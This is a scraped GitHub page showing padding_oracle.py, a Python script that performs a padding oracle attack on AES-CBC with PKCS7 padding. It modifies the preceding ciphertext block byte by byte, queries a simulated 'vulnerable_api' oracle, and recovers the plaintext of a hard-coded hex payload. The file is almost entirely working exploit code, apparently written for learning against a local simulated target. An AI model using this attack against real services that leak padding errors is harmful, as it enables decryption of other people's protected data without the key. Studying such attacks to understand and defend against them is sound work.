-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpadding_oracle.py
More file actions
92 lines (67 loc) · 3.57 KB
/
padding_oracle.py
File metadata and controls
92 lines (67 loc) · 3.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# This script performs a Padding Oracle Attack in a vulnerable API
#
# The attack scenario assumes that:
# - The attacker has access to a valid payload (IV + encrypted blocks).
# - The attacker can use a "request" function that simulates interaction with a vulnerable API. Specifically, the function returns True if a given payload can be decrypted and False otherwise.
# - The encryption algorithm used is vulnerable to a padding oracle attack. In this case, the API uses AES in CBC mode with PKCS7 padding.
#
# author: @davimoreno
#
from vulnerable_api import request
import binascii
def payload_to_blocks(payload, block_size):
payload_bytes = binascii.unhexlify(payload)
num_blocks = len(payload_bytes) // block_size
cipher_blocks = [list(payload_bytes[i*16 : (i+1)*16]) for i in range(num_blocks)]
return cipher_blocks
def blocks_to_payload(CA, Cn):
payload = bytes(CA + Cn).hex()
return payload
def attack(payload, block_size):
# Convert payload to cipher blocks
cipher_blocks = payload_to_blocks(payload, block_size)
num_blocks = len(cipher_blocks)
# Initialize list that will store plaintext bytes
plaintext = []
# Iterate over all pairs of consecutive blocks
for block_idx in range(1, num_blocks):
# The attacked block is called Cn
Cn = cipher_blocks[-block_idx]
# The block that we modify during the attack is called CA (it is the block that comes before Cn)
CA = cipher_blocks[-block_idx-1]
# Initialize CA'
CA_ = [0] * block_size
# Initialize pad byte and index of first byte to attack
pad_byte = 0x01
idx_byte = block_size-1 # the attack starts in the last byte of the block
# Start the attack in the pair CA, Cn
for _ in range(block_size):
# Edit the discovered bytes to match the current padding byte
for j in range(idx_byte+1, len(CA)):
last_pad_byte = pad_byte - 1
CA_[j] ^= pad_byte ^ last_pad_byte
# Perform attack in the current byte
for i in range(256):
CA_[idx_byte] = i
new_payload = blocks_to_payload(CA_, Cn)
# Send the payload to the API, that attempts to decrypt it with the secret key and returns True in case of success and False otherwise
reply = request(new_payload)
if reply == True:
# Reply being true means that the decryption was sucessful, so the plaintext equals pad_byte
# do some XOR's to decrypt the original plaintext byte
decrypted_byte = i ^ pad_byte ^ CA[idx_byte]
# Insert decrypted byte in the plaintext list
plaintext = [decrypted_byte] + plaintext
#print(bytes(plaintext))
# Break so that we can start attacking the next byte
break
pad_byte += 1
idx_byte -= 1
return bytes(plaintext)
def main():
payload = "6162636465666768696a6b6c6d6e6f703adb5ef92d512dd533c9cf649e8eecef2ddf1bbfa06b5e2dfcb8d2852001ba387ada878834bb9962d3d80a65cc42c2a571275c6d05212e6a82c79ca5d03dc3b90059d43ce9c1cbf045632d14f82209cb52efc7c7fc385fb6d8cbb2ec76904aef"
block_size = 16 # block size in bytes
plaintext = attack(payload, block_size)
print(f"Decrypted message: {plaintext}")
if __name__ == "__main__":
main()